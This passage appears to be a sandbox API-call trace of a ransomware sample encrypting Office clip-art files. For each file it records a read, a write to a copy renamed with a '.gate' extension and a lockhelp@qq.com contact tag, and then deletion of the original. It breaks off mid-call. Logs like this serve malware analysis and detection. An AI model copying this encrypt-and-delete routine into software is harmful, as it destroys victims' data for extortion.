lstrlenW (lpString=".jpg") returned 4 [0281.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.024] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.025] lstrlenW (lpString="AN01039_.WMF") returned 12 [0281.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0281.025] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3344) returned 1 [0281.025] CloseHandle (hObject=0x3dc) returned 1 [0281.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0281.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0281.025] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.026] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0281.026] GetLastError () returned 0x0 [0281.026] ReadFile (in: hFile=0x3dc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xd10, lpOverlapped=0x0) returned 1 [0281.415] WriteFile (in: hFile=0x3a0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xd20, lpOverlapped=0x0) returned 1 [0281.415] ReadFile (in: hFile=0x3dc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.415] WriteFile (in: hFile=0x3a0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.415] SetEndOfFile (hFile=0x3a0) returned 1 [0281.416] CloseHandle (hObject=0x3a0) returned 1 [0281.416] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.416] SetEndOfFile (hFile=0x3dc) returned 1 [0281.418] CloseHandle (hObject=0x3dc) returned 1 [0281.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0281.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.514] lstrlenW (lpString=".doc") returned 4 [0281.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.514] lstrlenW (lpString=".docx") returned 5 [0281.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.514] lstrlenW (lpString=".pdf") returned 4 [0281.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.514] lstrlenW (lpString=".xls") returned 4 [0281.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.514] lstrlenW (lpString=".xlsx") returned 5 [0281.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.514] lstrlenW (lpString=".ppt") returned 4 [0281.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.515] lstrlenW (lpString=".zip") returned 4 [0281.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.515] lstrlenW (lpString=".rar") returned 4 [0281.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString=".bz2") returned 4 [0281.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString=".7z") returned 3 [0281.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.515] lstrlenW (lpString=".dbf") returned 4 [0281.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.515] lstrlenW (lpString=".1cd") returned 4 [0281.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.515] lstrlenW (lpString=".jpg") returned 4 [0281.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.515] lstrlenW (lpString=".doc") returned 4 [0281.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString=".docx") returned 5 [0281.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.515] lstrlenW (lpString=".pdf") returned 4 [0281.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.515] lstrlenW (lpString=".xls") returned 4 [0281.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.515] lstrlenW (lpString=".xlsx") returned 5 [0281.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.516] lstrlenW (lpString=".ppt") returned 4 [0281.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.516] lstrlenW (lpString=".zip") returned 4 [0281.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.516] lstrlenW (lpString=".rar") returned 4 [0281.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.516] lstrlenW (lpString=".bz2") returned 4 [0281.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.516] lstrlenW (lpString=".7z") returned 3 [0281.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.516] lstrlenW (lpString=".dbf") returned 4 [0281.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.516] lstrlenW (lpString=".1cd") returned 4 [0281.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0281.516] lstrlenW (lpString=".jpg") returned 4 [0281.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.516] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.516] lstrlenW (lpString="AN01251_.WMF") returned 12 [0281.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0281.517] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2756) returned 1 [0281.517] CloseHandle (hObject=0x3dc) returned 1 [0281.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0281.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0281.517] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.517] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.674] GetLastError () returned 0x0 [0281.674] ReadFile (in: hFile=0x3dc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xac4, lpOverlapped=0x0) returned 1 [0281.724] WriteFile (in: hFile=0x3d0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xad0, lpOverlapped=0x0) returned 1 [0281.725] ReadFile (in: hFile=0x3dc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.725] WriteFile (in: hFile=0x3d0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.725] SetEndOfFile (hFile=0x3d0) returned 1 [0281.725] CloseHandle (hObject=0x3d0) returned 1 [0281.731] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.731] SetEndOfFile (hFile=0x3dc) returned 1 [0281.733] CloseHandle (hObject=0x3dc) returned 1 [0281.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0281.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.735] lstrlenW (lpString=".doc") returned 4 [0281.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.735] lstrlenW (lpString=".docx") returned 5 [0281.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.735] lstrlenW (lpString=".pdf") returned 4 [0281.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.735] lstrlenW (lpString=".xls") returned 4 [0281.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.735] lstrlenW (lpString=".xlsx") returned 5 [0281.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.735] lstrlenW (lpString=".ppt") returned 4 [0281.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.735] lstrlenW (lpString=".zip") returned 4 [0281.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.735] lstrlenW (lpString=".rar") returned 4 [0281.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.735] lstrlenW (lpString=".bz2") returned 4 [0281.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.735] lstrlenW (lpString=".7z") returned 3 [0281.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.735] lstrlenW (lpString=".dbf") returned 4 [0281.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.736] lstrlenW (lpString=".1cd") returned 4 [0281.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.736] lstrlenW (lpString=".jpg") returned 4 [0281.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.736] lstrlenW (lpString=".doc") returned 4 [0281.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.736] lstrlenW (lpString=".docx") returned 5 [0281.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.736] lstrlenW (lpString=".pdf") returned 4 [0281.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.736] lstrlenW (lpString=".xls") returned 4 [0281.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.736] lstrlenW (lpString=".xlsx") returned 5 [0281.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.736] lstrlenW (lpString=".ppt") returned 4 [0281.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.736] lstrlenW (lpString=".zip") returned 4 [0281.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.736] lstrlenW (lpString=".rar") returned 4 [0281.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.736] lstrlenW (lpString=".bz2") returned 4 [0281.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.737] lstrlenW (lpString=".7z") returned 3 [0281.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.737] lstrlenW (lpString=".dbf") returned 4 [0281.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.737] lstrlenW (lpString=".1cd") returned 4 [0281.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0281.737] lstrlenW (lpString=".jpg") returned 4 [0281.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.737] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.737] lstrlenW (lpString="AN02559_.WMF") returned 12 [0281.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.774] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6632) returned 1 [0281.775] CloseHandle (hObject=0x4b0) returned 1 [0281.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0281.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.775] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.775] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.776] GetLastError () returned 0x0 [0281.776] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0281.797] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0281.798] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.798] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.798] SetEndOfFile (hFile=0x404) returned 1 [0281.798] CloseHandle (hObject=0x404) returned 1 [0281.799] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.799] SetEndOfFile (hFile=0x4b0) returned 1 [0281.911] CloseHandle (hObject=0x4b0) returned 1 [0281.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0281.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.960] lstrlenW (lpString=".doc") returned 4 [0281.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString=".docx") returned 5 [0281.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.961] lstrlenW (lpString=".pdf") returned 4 [0281.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString=".xls") returned 4 [0281.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.961] lstrlenW (lpString=".xlsx") returned 5 [0281.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.961] lstrlenW (lpString=".ppt") returned 4 [0281.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.961] lstrlenW (lpString=".zip") returned 4 [0281.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.961] lstrlenW (lpString=".rar") returned 4 [0281.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString=".bz2") returned 4 [0281.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString=".7z") returned 3 [0281.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.961] lstrlenW (lpString=".dbf") returned 4 [0281.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.961] lstrlenW (lpString=".1cd") returned 4 [0281.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.961] lstrlenW (lpString=".jpg") returned 4 [0281.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.961] lstrlenW (lpString=".doc") returned 4 [0281.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.961] lstrlenW (lpString=".docx") returned 5 [0281.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.962] lstrlenW (lpString=".pdf") returned 4 [0281.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.962] lstrlenW (lpString=".xls") returned 4 [0281.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.962] lstrlenW (lpString=".xlsx") returned 5 [0281.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.962] lstrlenW (lpString=".ppt") returned 4 [0281.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.962] lstrlenW (lpString=".zip") returned 4 [0281.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.962] lstrlenW (lpString=".rar") returned 4 [0281.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.962] lstrlenW (lpString=".bz2") returned 4 [0281.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.962] lstrlenW (lpString=".7z") returned 3 [0281.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.962] lstrlenW (lpString=".dbf") returned 4 [0281.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.962] lstrlenW (lpString=".1cd") returned 4 [0281.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0281.962] lstrlenW (lpString=".jpg") returned 4 [0281.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.962] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.962] lstrlenW (lpString="AN04134_.WMF") returned 12 [0281.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, 